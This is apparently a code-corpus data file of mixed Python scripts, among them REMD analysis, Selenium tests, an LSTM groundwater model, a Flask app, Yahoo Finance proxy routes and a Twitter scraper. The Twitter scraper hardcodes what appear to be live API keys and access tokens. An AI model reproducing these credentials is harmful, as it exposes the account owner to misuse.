int(replicas[i-1])\n\t\t\t\t\t\tright_replica = int(replicas[i+1])\n\n\t\t\t\t\t\tif left_replica not in exchanges.keys():\n\t\t\t\t\t\t\texchanges[left_replica] = [(left_replica, 0.0)]\n\t\t\t\t\t\tif right_replica not in exchanges.keys():\n\t\t\t\t\t\t\texchanges[right_replica] = [(right_replica, 0.0)]\n\n\t\t\t\t\t\ttemp = exchanges[left_replica][-1][0]\n\t\t\t\t\t\t#left update\n\t\t\t\t\t\texchanges[left_replica].append((exchanges[right_replica][-1][0], current_time))\n\n\t\t\t\t\t\t#right update\n\t\t\t\t\t\texchanges[right_replica].append((temp, current_time))\n\t\t\t\t\t\tlines_processed = lines_processed + 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tcontinue\n\treturn exchanges\n\n\ndef plot_exchanges(exchanges, replica=0):\n\treplicas = [r[0] for r in exchanges[replica]]\n\tprint(replicas)\n\tfrequencies = {}\n\ttot = len(replicas)\n\tfor r in replicas:\n\t\tif r not in frequencies.keys():\n\t\t\tfrequencies[r] = 1\n\t\telse:\n\t\t\tfrequencies[r] = frequencies[r] + 1\n\n\tfor f in frequencies:\n\t\tfrequencies[f] = frequencies[f] / float(tot)\n\n\tX = np.arange(len(frequencies))\n\tplt.bar(X, frequencies.values())\n\tplt.savefig(\"replica_counts.pdf\", format=\"pdf\")\n\tplt.show()\n\nif __name__ == \"__main__\":\n\targs = cline()\n\tlog_file = args.log\n\texchanges = parse_log(log_file)\n\tplot_exchanges(exchanges)\n","sub_path":"REMD_analysis/REMD_exchanges.py","file_name":"REMD_exchanges.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"347698393","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.support.ui import Select\n\nclass VeeamVacancy(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Chrome()\n\n def test_veeam_vacancy_filter(self):\n driver = self.driver\n driver.get('https://careers.veeam.com/')\n driver.maximize_window()\n select = Select(driver.find_element_by_id('country'))\n select.select_by_value('Romania')\n driver.find_element_by_id('language').click()\n driver.find_element_by_css_selector(\"[for='ch-7']\").click()\n driver.find_element_by_class_name('content-loader-button').click()\n \nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"313134798","text":"from queue import Queue\n\n\ndef hot_potato(peopleList=[], num=1):\n \"\"\"A game where a potato will be passed around n number of\n people, until num - number at which the moving of potato\n should be stopped and the person holding the potato will\n be eliminated. This goes on until only one person is left.\n \"\"\"\n tempQueue = Queue()\n\n if len(peopleList) == 0:\n return 'Number of participants should be atleast 1.'\n\n for name in peopleList:\n tempQueue.enqueue(name)\n\n while tempQueue.size() > 1:\n if num < 1:\n return 'Number (num) of iterations should be >= 1.'\n # i = 1\n # while i <= num:\n # tempQueue.enqueue(tempQueue.dequeue())\n # i += 1\n # else:\n # tempQueue.dequeue()\n for i in range(num):\n tempQueue.enqueue(tempQueue.dequeue())\n\n tempQueue.dequeue()\n\n winner = tempQueue.dequeue()\n return (str(winner) if type(winner) == int else winner) + ' is the winner.'","sub_path":"queue/hot_potato.py","file_name":"hot_potato.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"635062741","text":"import torch\nimport torchvision\ndevice = torch.device(\n 'cuda') if torch.cuda.is_available() else torch.device('cpu')\nmodel = torchvision.models.detection.fasterrcnn_resnet50_fpn(\n pretrained=False).to(device)\nmodel.eval()\n\nimage = torch.randn(3, 800, 1333, device=device)\nimages = [image]\n\ntorch.onnx.export(model, (images, ), 'faster_rcnn.onnx',\n do_constant_folding=True, opset_version=11)\n","sub_path":"simpleexportonnx.py","file_name":"simpleexportonnx.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"322708841","text":"import asyncio\nimport websockets\nimport json\nimport os\n\nasync def hello():\n url = \"ws://192.168.226.43:4000\"\n #async with websockets.connect(url) as websocket:\n websocket = await websockets.connect(url) \n name = '[\"boardInfo\",{\"type\":\"device\",\"name\":\"testname\",\"OK\":true,\"msg\":\"Success\",\"deviceType\":\"identifier\"}]'\n await websocket.send(name)\n print(f\">{name}\")\n try:\n response = await websocket.recv()\n print(f\"<{response}\")\n except:\n print(\"Reconnecting\")\n websocket = await websockets.connect(url)\n\n#asyncio.get_event_loop().run_until_complete(hello())\n\nasyncio.run(hello())\n","sub_path":"python/request_test.py","file_name":"request_test.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"429385010","text":"from parameters import hyperparameters as p\nfrom parameters import settings\nimport datetime, os, time\nimport pandas as pd\nimport time\n\nclass Logger:\n\tdef __init__(self):\n\t\tos.system(\"clear\")\n\t\ttry:\n\t\t\tos.mkdir(\"Generated_data\")\n\t\texcept FileExistsError:\n\t\t\tpass\n\t\tself.di = {}\n\t\tself.t = time.time()\n\t\tself.t_start = eta = datetime.datetime.now()\n\n\t\tfor env_name in settings.env_names:\n\t\t\tself.di[env_name] = []\n\n\tdef add_rewards(self, names, rewards, steps):\n\t\tfor i in range(names):\n\t\t\tself.di[settings.env_names[i]].append(rewards[i].item())\n\n\tdef save(self):\n\t\tif settings.mode == 'test':\n\t\t\tframe = pd.DataFrame(self.di)\n\t\t\tframe.to_csv(\"Generated_data/{}_{}.csv\".format(settings.mode, settings.seed))\n\n\tdef show_update(self, step):\n\t\tos.system(\"clear\")\n\t\tterminal_width = os.get_terminal_size().columns\n\t\tbar_width = terminal_width - 20\n\t\tpercent = (step/p.max_numsteps)*100\n\t\titeration_speed = round(10/(time.time() - self.t),1)\n\t\teta = (100-percent) * ((datetime.datetime.now()-self.t_start)/(percent+1e-6))\n\t\tpercent = round(percent, 1)\n\t\tprint(\" Mode: \" + settings.mode + \" \\tSeed: {}\".format(settings.seed) + \" \\tSpeed: {}\".format(iteration_speed) + \" Steps/second\" + \" \\tETA: {}\".format(str(eta).split(\".\")[0]), end=\"\\n\\n\")\n\t\tdone_bar = \t\"\\033[94m{}\\033[00m\".format(chr(9606)*int(bar_width*percent/100))\t\n\t\tremaining = \"\\033[97m{}\\033[00m\".format(chr(9606)*int(bar_width*(100-percent)/100))\n\t\tprint(\" \"+done_bar+remaining, end=\" \")\n\t\tprint(\"{} %\".format(percent), end=\"\\n\\n\")\n\t\tself.t = time.time()","sub_path":"2. Crawlers/CASNET_policy/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"298788095","text":"def extractSnowbuntranslatesTumblrCom(item):\n\t'''\n\tParser for 'snowbuntranslates.tumblr.com'\n\t'''\n\n\tvol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])\n\tif not (chp or vol) or \"preview\" in item['title'].lower():\n\t\treturn None\n\n\ttagmap = [\n\t\t('cecilia silvy', 'The villainess, Cecilia Silvy, doesn’t want to die, so she decided to crossdress.', 'translated'),\n\t\t('PRC', 'PRC', 'translated'),\n\t\t('Loiterous', 'Loiterous', 'oel'),\n\t]\n\n\tfor tagname, name, tl_type in tagmap:\n\t\tif tagname in item['tags']:\n\t\t\treturn buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)\n\n\n\treturn False","sub_path":"WebMirror/management/rss_parser_funcs/feed_parse_extractSnowbuntranslatesTumblrCom.py","file_name":"feed_parse_extractSnowbuntranslatesTumblrCom.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"266547898","text":"#from twython import Twython, TwythonError\n#!/usr/bin/python\n\nimport tweepy\nimport csv #Import csv\nimport os\n\nconsumer_key= 'pDAqKvD6VXFBBF8uNXOu1gPMG'\nconsumer_secret = 'E7T5OgiP3Kn0fa3w9h4X5dJVDK0JY18uBmS4wNp8nS5jxVezO4'\naccess_token = '493021440-Z8n3VYoKW6mmZ5eIyskOEgTMP3h9VxKO51UVsn6e'\naccess_token_secret = 'Q6CqSya8BTeF4ntC7dvxTJD1XW6UbnMGelcUAodh5eryc'\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\n\napi = tweepy.API(auth)\ncsvFile = open('docker1.csv', 'a')\ncsvWriter = csv.writer(csvFile)\nids = set()\nfor tweet in tweepy.Cursor(api.search, q=\"#GalaxyS8\", Since=\"2017-01-01\", until=\"2017-05-25\",lang=\"en\").items(10000):\n\n if (tweet.retweeted) and ('RT @' in tweet.text):\n print (\"hi\")\n #Write a row to the csv file/ I use encode utf-8\n csvWriter.writerow([tweet.created_at, tweet.text.encode('utf-8'), tweet.favorite_count, tweet.retweet_count, tweet.id, tweet.user.screen_name])\n #print \"...%s tweets downloaded so far\" % (len(tweet.id))\n ids.add(tweet.id) # add new id\n print (\"number of unique ids seen so far: {}\",format(len(ids)))\n csvFile.close()","sub_path":"fetchData/twitterData.py","file_name":"twitterData.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"465063009","text":"# MODEL m15_3M_03 - MAIN\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.utils.data import DataLoader\r\nimport csv\r\n\r\n\r\n# IMPORT FUNCTIONS/CLASSES\r\nimport m15_3M_03_02_data_loading\r\nimport m15_3M_03_03_nn_class\r\nimport m15_3M_03_04_training\r\nimport m15_3M_03_05_testing\r\nimport m15_3M_03_06_plotting_saving_data\r\nimport m15_3M_03_07_statistics\r\n\r\n\r\n# NETWORK HYPER-PARAMETERS\r\nnum_lstm_layers = 2\r\nlearning_rate = 0.01\r\nweight_decay = 1e-7\r\nepochs = 1200\r\nhidden_size = 6\r\n\r\n\r\n# IMPORTING DATA\r\ndata = pd.read_csv(\"df_final.csv\", sep = '\\t')\r\n\r\n\r\n# NETWORK PARAMETERS\r\npercentage_train = 64\r\npercentage_vali = 18\r\npercentage_test = 18\r\ncount_train= round((len(data)) * (percentage_train / 100)) - 1 \r\ncount_vali= round((len(data))* (percentage_vali / 100)) - 1\r\ncount_test = round((len(data))* (percentage_test / 100)) - 1\r\nin_swl = 1\r\nin_p = 1\r\nin_t = 1\r\nin_sd = 1\r\nin_rh = 1\r\nin_wv = 1\r\nin_p_forecast = 1 #houer\r\nin_t_forecast = 1 #houer\r\nin_sd_forecast = 1 #houer\r\nin_rh_forecast = 1 #houer\r\nin_wv_forecast = 1 #houer\r\nin_w_forcecast = 1 #houer\r\nforecast_horizon = 24 * 7 #houers\r\ninput_size_swl = in_swl + in_p + in_p_forecast + in_t + in_t_forecast + in_sd + in_sd_forecast + in_rh + in_rh_forecast + in_wv + in_wv_forecast\r\ninput_size = in_p + in_p_forecast + in_t + in_t_forecast + in_sd + in_sd_forecast + in_rh + in_rh_forecast + in_wv + in_wv_forecast\r\noutput_size = forecast_horizon\r\nbatch_size_train = round(count_train - max(in_p, in_t, in_swl) - forecast_horizon - 1)\r\nbatch_size_vali = round(count_vali - max(in_p, in_t, in_swl) - forecast_horizon - 1)\r\nbatch_size_test = round(count_test - max(in_p, in_t, in_swl) - forecast_horizon - 1)\r\n\r\n\r\n# DATA LOADING\r\n# data preperation\r\ninp_train_swl, inp_train_p, inp_train_t, inp_train_sd, inp_train_rh, inp_train_wv, tar_train_swl = m15_3M_03_02_data_loading.Data_Preperation(data, 0, count_train, count_train)\r\ninp_vali_swl, inp_vali_p, inp_vali_t, inp_vali_sd, inp_vali_rh, inp_vali_wv, tar_vali_swl = m15_3M_03_02_data_loading.Data_Preperation(data, count_train, count_train + count_vali, count_vali)\r\ninp_test_swl, inp_test_p, inp_test_t, inp_test_sd, inp_test_rh, inp_test_wv, tar_test_swl = m15_3M_03_02_data_loading.Data_Preperation(data, count_train + count_vali, count_train + count_vali + count_test, count_test)\r\n\r\n# data loading\r\ntrain_dataset = m15_3M_03_02_data_loading.Load_Data(inp_train_swl, inp_train_p, inp_train_t, inp_train_sd, inp_train_rh, inp_train_wv, tar_train_swl, in_p, in_t, in_sd, in_rh, in_wv, in_swl, in_p_forecast, in_t_forecast, in_sd_forecast, in_rh_forecast, in_wv_forecast, in_w_forcecast, forecast_horizon, batch_size_train)\r\ntrain_loader = DataLoader(train_dataset, batch_size=batch_size_train, shuffle=False, drop_last=True)\r\n\r\nvali_dataset = m15_3M_03_02_data_loading.Load_Data(inp_vali_swl, inp_vali_p, inp_vali_t, inp_vali_sd, inp_vali_rh, inp_vali_wv, tar_vali_swl, in_p, in_t, in_sd, in_rh, in_wv, in_swl, in_p_forecast, in_t_forecast, in_sd_forecast, in_rh_forecast, in_wv_forecast, in_w_forcecast, forecast_horizon, batch_size_vali)\r\nvali_loader = DataLoader(vali_dataset, batch_size=batch_size_vali, shuffle=False, drop_last=True)\r\n\r\ntest_dataset = m15_3M_03_02_data_loading.Load_Data(inp_test_swl, inp_test_p, inp_test_t, inp_test_sd, inp_test_rh, inp_test_wv, tar_test_swl, in_p, in_t, in_sd, in_rh, in_wv, in_swl, in_p_forecast, in_t_forecast, in_sd_forecast, in_rh_forecast, in_wv_forecast, in_w_forcecast, forecast_horizon, batch_size_test)\r\ntest_loader = DataLoader(test_dataset, batch_size=batch_size_test, shuffle=False, drop_last=True)\r\n\r\n\r\n# NN CLASS\r\nlstm = m15_3M_03_03_nn_class.ANN(input_size_swl, input_size, hidden_size, output_size, num_lstm_layers)\r\n#lstm.load_state_dict(torch.load('Trained_G01_M01.pt'))\r\nprint(lstm)\r\n\r\n\r\n# TRAINING\r\n# define loss function and optimizer\r\ncriterion = nn.MSELoss()\r\noptimizer = torch.optim.Adam(lstm.parameters(), lr = learning_rate, weight_decay = weight_decay)\r\n\r\nhold_loss_train = []\r\nhold_loss_vali = []\r\nhold_lstm_output_train = []\r\nhold_inp_tensor_train = []\r\nhold_tar_tensor_train = []\r\n\r\nhold_lstm_output_vali, hold_inp_tensor_vali, hold_tar_tensor_vali = m15_3M_03_04_training.Training(lstm, criterion, optimizer, epochs, train_loader, vali_loader, hold_loss_train, hold_loss_vali, hold_lstm_output_train, hold_inp_tensor_train, hold_tar_tensor_train, train_dataset, batch_size_train, batch_size_vali, forecast_horizon, input_size_swl, input_size, hidden_size, num_lstm_layers)\r\n\r\nhold_lstm_output_train = torch.cat(hold_lstm_output_train, dim = 0)\r\nhold_inp_tensor_train = torch.cat(hold_inp_tensor_train, dim = 0)\r\nhold_tar_tensor_train = torch.cat(hold_tar_tensor_train, dim = 0)\r\n\r\n\r\n#params = list(lstm.parameters())\r\n\r\n\r\n# TESTING\r\nhold_lstm_output_test = [] \r\nhold_inp_tensor_test = []\r\nhold_tar_tensor_test = []\r\n\r\nm15_3M_03_05_testing.Testing(lstm, criterion, optimizer, test_loader, batch_size_test, forecast_horizon, input_size_swl, input_size, hidden_size, hold_lstm_output_test, hold_inp_tensor_test, hold_tar_tensor_test, num_lstm_layers)\r\n\r\nhold_lstm_output_test = torch.cat(hold_lstm_output_test, dim = 0)\r\nhold_inp_tensor_test = torch.cat(hold_inp_tensor_test, dim = 0)\r\nhold_tar_tensor_test = torch.cat(hold_tar_tensor_test, dim = 0)\r\n\r\n\r\n#PLOTTING\r\n# plot loss vs. epoch - training and validation set\r\nm15_3M_03_06_plotting_saving_data.Loss_Vs_Epoch(hold_loss_train, hold_loss_vali)\r\n\r\n# get max / min data of swl to denormalize input data\r\ndata_not_norm = pd.read_csv(\"df_not_norm.csv\", sep = '\\t')\r\nswl_max = data_not_norm['Grundwasserstand [m ü. NN]'].max() + 0.15\r\nswl_min = data_not_norm['Grundwasserstand [m ü. NN]'].min() - 0.15\r\n\r\n# plot target against prediction of the training\r\nprediction_train_fh, prediction_train_5_24, prediction_train_3_24, prediction_train_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_lstm_output_train, forecast_horizon, swl_max, swl_min)\r\ntarget_train_fh, target_train_5_24, target_train_3_24, target_train_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_tar_tensor_train, forecast_horizon, swl_max, swl_min)\r\nm15_3M_03_06_plotting_saving_data.Safe_Data(hold_inp_tensor_train, hold_tar_tensor_train, hold_lstm_output_train, prediction_train_fh, target_train_fh, 'train', forecast_horizon)\r\n\r\ndate_range_train = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon + len(prediction_train_fh),'h'),dtype='datetime64[h]')\r\ndate_range_train = date_range_train.flatten()\r\ndate_range_train_5_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24 + len(prediction_train_5_24),'h'),dtype='datetime64[h]')\r\ndate_range_train_5_24 = date_range_train_5_24.flatten()\r\ndate_range_train_3_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24 + len(prediction_train_3_24),'h'),dtype='datetime64[h]')\r\ndate_range_train_3_24 = date_range_train_3_24.flatten()\r\ndate_range_train_1_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24 + len(prediction_train_1_24),'h'),dtype='datetime64[h]')\r\ndate_range_train_1_24 = date_range_train_1_24.flatten()\r\nprint(date_range_train)\r\n\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_train, target_train_fh, prediction_train_fh, 'training_set_performance')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_train_5_24, target_train_5_24, prediction_train_5_24, 'training_set_performance_5_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_train_3_24, target_train_3_24, prediction_train_3_24, 'training_set_performance_3_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_train_1_24, target_train_1_24, prediction_train_1_24, 'training_set_performance_1_24')\r\n\r\n# plot target against prediction of the validation\r\nprediction_vali_fh, prediction_vali_5_24, prediction_vali_3_24, prediction_vali_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_lstm_output_vali, forecast_horizon, swl_max, swl_min)\r\ntarget_vali_fh,target_vali_5_24, target_vali_3_24, target_vali_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_tar_tensor_vali, forecast_horizon, swl_max, swl_min)\r\nm15_3M_03_06_plotting_saving_data.Safe_Data(hold_inp_tensor_vali, hold_tar_tensor_vali, hold_lstm_output_vali, prediction_vali_fh, target_vali_fh, 'vali', forecast_horizon)\r\n\r\ndate_range_vali = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon + len(prediction_train_fh) + forecast_horizon + 2,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon + len(prediction_train_fh) + forecast_horizon + 2 + len(prediction_vali_fh),'h'),dtype='datetime64[h]')\r\ndate_range_vali = date_range_vali.flatten()\r\ndate_range_vali_5_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24 + len(prediction_train_5_24) + 5*24 + 2,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24 + len(prediction_train_5_24) + 5*24 + 2 + len(prediction_vali_5_24),'h'),dtype='datetime64[h]')\r\ndate_range_vali_5_24 = date_range_vali_5_24.flatten()\r\ndate_range_vali_3_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24 + len(prediction_train_3_24) + 3*24 + 2,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24 + len(prediction_train_3_24) + 3*24 + 2 + len(prediction_vali_3_24),'h'),dtype='datetime64[h]')\r\ndate_range_vali_3_24 = date_range_vali_3_24.flatten()\r\ndate_range_vali_1_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24 + len(prediction_train_1_24) + 1*24 + 2,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24 + len(prediction_train_1_24) + 1*24 + 2 + len(prediction_vali_1_24),'h'),dtype='datetime64[h]')\r\ndate_range_vali_1_24 = date_range_vali_1_24.flatten()\r\nprint(date_range_vali)\r\n\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_vali, target_vali_fh, prediction_vali_fh, 'validation_set_performance')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_vali_5_24, target_vali_5_24, prediction_vali_5_24, 'validation_set_performance_5_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_vali_3_24, target_vali_3_24, prediction_vali_3_24, 'validation_set_performance_3_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_vali_1_24, target_vali_1_24, prediction_vali_1_24, 'validation_set_performance_1_24')\r\n\r\n# plot target against prediction of the testing\r\nprediction_test_fh, prediction_test_5_24, prediction_test_3_24, prediction_test_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_lstm_output_test, forecast_horizon, swl_max, swl_min)\r\ntarget_test_fh, target_test_5_24, target_test_3_24, target_test_1_24 = m15_3M_03_06_plotting_saving_data.Denormalization(hold_tar_tensor_test, forecast_horizon, swl_max, swl_min)\r\n\r\nm15_3M_03_06_plotting_saving_data.Safe_Data(hold_inp_tensor_test, hold_tar_tensor_test, hold_lstm_output_test, prediction_test_fh, target_test_fh, 'test', forecast_horizon)\r\n\r\ndate_range_test = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon + len(prediction_train_fh) + forecast_horizon + 2 + len(prediction_vali_fh) + 2 + forecast_horizon,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(forecast_horizon + len(prediction_train_fh) + forecast_horizon + 2 + len(prediction_vali_fh) + 2 + forecast_horizon + len(prediction_test_fh),'h'),dtype='datetime64[h]')\r\ndate_range_test = date_range_test.flatten()\r\ndate_range_test_5_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24 + len(prediction_train_5_24) + 5*24 + 2 + len(prediction_vali_5_24) + 2 + 5*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(5*24 + len(prediction_train_5_24) + 5*24 + 2 + len(prediction_vali_5_24) + 2 + 5*24 + len(prediction_test_5_24),'h'),dtype='datetime64[h]')\r\ndate_range_test_5_24 = date_range_test_5_24.flatten()\r\ndate_range_test_3_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24 + len(prediction_train_3_24) + 3*24 + 2 + len(prediction_vali_3_24) + 2 + 3*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(3*24 + len(prediction_train_3_24) + 3*24 + 2 + len(prediction_vali_3_24) + 2 + 3*24 + len(prediction_test_3_24),'h'),dtype='datetime64[h]')\r\ndate_range_test_3_24 = date_range_test_3_24.flatten()\r\ndate_range_test_1_24 = np.arange(np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24 + len(prediction_train_1_24) + 1*24 + 2 + len(prediction_vali_1_24) + 2 + 1*24,'h'), np.datetime64(data.iloc[0,0]) + np.timedelta64(1*24 + len(prediction_train_1_24) + 1*24 + 2 + len(prediction_vali_1_24) + 2 + 1*24 + len(prediction_test_1_24),'h'),dtype='datetime64[h]')\r\ndate_range_test_1_24 = date_range_test_1_24.flatten()\r\nprint(date_range_test)\r\n\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_test, target_test_fh, prediction_test_fh, 'testing_set_performance')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_test_5_24, target_test_5_24, prediction_test_5_24, 'testing_set_performance_5_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_test_3_24, target_test_3_24, prediction_test_3_24, 'testing_set_performance_3_24')\r\nm15_3M_03_06_plotting_saving_data.Target_Vs_Prediction(date_range_test_1_24, target_test_1_24, prediction_test_1_24, 'testing_set_performance_1_24')\r\n\r\n\r\n# STATISTICS\r\nmax_diff_train_fh, sse_train_fh, mse_train_fh, mse_train_5_24, mse_train_3_24, mse_train_1_24 = m15_3M_03_07_statistics.Compute_Statistics(prediction_train_fh, target_train_fh, prediction_train_5_24, target_train_5_24, prediction_train_3_24, target_train_3_24, prediction_train_1_24, target_train_1_24, 'train')\r\nmax_diff_vali_fh, sse_vali_fh, mse_vali_fh, mse_vali_5_24, mse_vali_3_24, mse_vali_1_24 = m15_3M_03_07_statistics.Compute_Statistics(prediction_vali_fh, target_vali_fh, prediction_vali_5_24, target_vali_5_24, prediction_vali_3_24, target_vali_3_24, prediction_vali_1_24, target_vali_1_24, 'vali')\r\nmax_diff_test_fh, see_test_fh, mse_test_fh, mse_test_5_24, mse_test_3_24, mse_test_1_24 = m15_3M_03_07_statistics.Compute_Statistics(prediction_test_fh, target_test_fh, prediction_test_5_24, target_test_5_24, prediction_test_3_24, target_test_3_24, prediction_test_1_24, target_test_1_24, 'test')\r\n\r\nwith open('statistics/statistics.csv', 'a+', newline = '') as f:\r\n\tfile = csv.writer(f, delimiter = '\\t')\r\n\tfile.writerow(['max_diff_train_fh', 'sse_train_fh', 'mse_train_fh', 'max_diff_vali_fh', 'sse_vali_fh', 'mse_vali_fh', 'max_diff_test_fh', 'see_test_fh', 'mse_test_fh', 'mse_test_5_24','mse_test_3_24','mse_test_1_24'])\r\n\tfile.writerow([max_diff_train_fh, sse_train_fh, mse_train_fh, max_diff_vali_fh, sse_vali_fh, mse_vali_fh, max_diff_test_fh, see_test_fh, mse_test_fh, mse_test_5_24, mse_test_3_24, mse_test_1_24])\r\n\t\r\n# save the model parameters\r\ntorch.save(lstm.state_dict(), 'trained/trained_lstm.py')","sub_path":"m15_3M_03/m15_3M_03_01_main.py","file_name":"m15_3M_03_01_main.py","file_ext":"py","file_size_in_byte":15022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"516842947","text":"from flask import Flask\nfrom flask_login import LoginManager\n\nlogin_manager = LoginManager()\n\ndef reg_bp(app):\n from app.api.music import music\n from app.api.user import user\n from app.api.client import client\n app.register_blueprint(music)\n app.register_blueprint(user)\n app.register_blueprint(client)\n\ndef after_request(resp):\n resp.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization,session_id')\n resp.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS,HEAD')\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n\ndef register_plugin(app):\n from app.models.base import db\n db.init_app(app)\n with app.app_context():\n db.create_all()\n\n\ndef create_app():\n app = Flask(__name__,template_folder=\"templates\",static_folder=\"static\",static_url_path=\"/app/static\")\n app.config.from_object('app.config.secure')\n app.config.from_object('app.config.setting')\n app.after_request(after_request)\n\n register_plugin(app)\n\n\n login_manager.login_view = 'user.login'\n login_manager.login_message = 'please sign in'\n login_manager.init_app(app)\n\n\n reg_bp(app)\n\n return app\n\n","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"531498927","text":"from aiohttp import ClientSession\nfrom fastapi import APIRouter, HTTPException, Request\nfrom starlette.status import HTTP_424_FAILED_DEPENDENCY\n\nfrom ...settings.external_services import YAHOO_SPARK_URL, YAHOO_SEARCH_URL\n\nrouter = APIRouter()\n\n\n@router.get('/info')\nasync def yahoo_stock_info(request: Request):\n params = request.query_params\n url = YAHOO_SPARK_URL\n\n async with ClientSession() as session:\n async with session.get(url, params=params) as response:\n if response.status >= 400:\n raise HTTPException(\n status_code=HTTP_424_FAILED_DEPENDENCY,\n detail='Yahoo Finance is currently unavailable.'\n )\n\n return await response.json()\n\n\n@router.get('/search')\nasync def yahoo_stock_search(request: Request):\n params = request.query_params\n url = YAHOO_SEARCH_URL\n\n async with ClientSession() as session:\n async with session.get(url, params=params) as response:\n if response.status >= 400:\n raise HTTPException(\n status_code=HTTP_424_FAILED_DEPENDENCY,\n detail='Yahoo Finance is currently unavailable.'\n )\n\n return await response.json()\n","sub_path":"server/api/external/yahoo_finance.py","file_name":"yahoo_finance.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"597981824","text":"# Selenium 과 PhantomJS에서 CSS3 Selector 이용하기\n# daum News의 header 부분을 crawling\nfrom selenium import webdriver\n\n# 드라이버 생성\n# chromedriver 설치된 경로를 정확히 기재해야 함\nchromedriver = 'C:/PyCharmProject/Sources/selenium/chromedriver_win32/chromedriver.exe' # 윈도우\n# chromedriver = '/usr/local/Cellar/chromedriver/chromedriver' # 맥\ndriver = webdriver.Chrome(chromedriver)\n\ndriver.get('http://v.media.daum.net/v/20170202180355822')\n\ntitle_data = driver.find_element_by_css_selector('html head title')\nprint(\"html head title-->\" , title_data.get_attribute('text'))\n\n# title_data = driver.find_element_by_css_selector('html > title')\n# # head 태그 안에 있는 title 정보는 get_attribute('text') 메서드로 추출할 수 있습니다.\n# print(\"html > title-->\" ,title_data.get_attribute('text'))\n\ncontents = driver.find_element_by_css_selector(\"div#harmonyContainer\")\n# 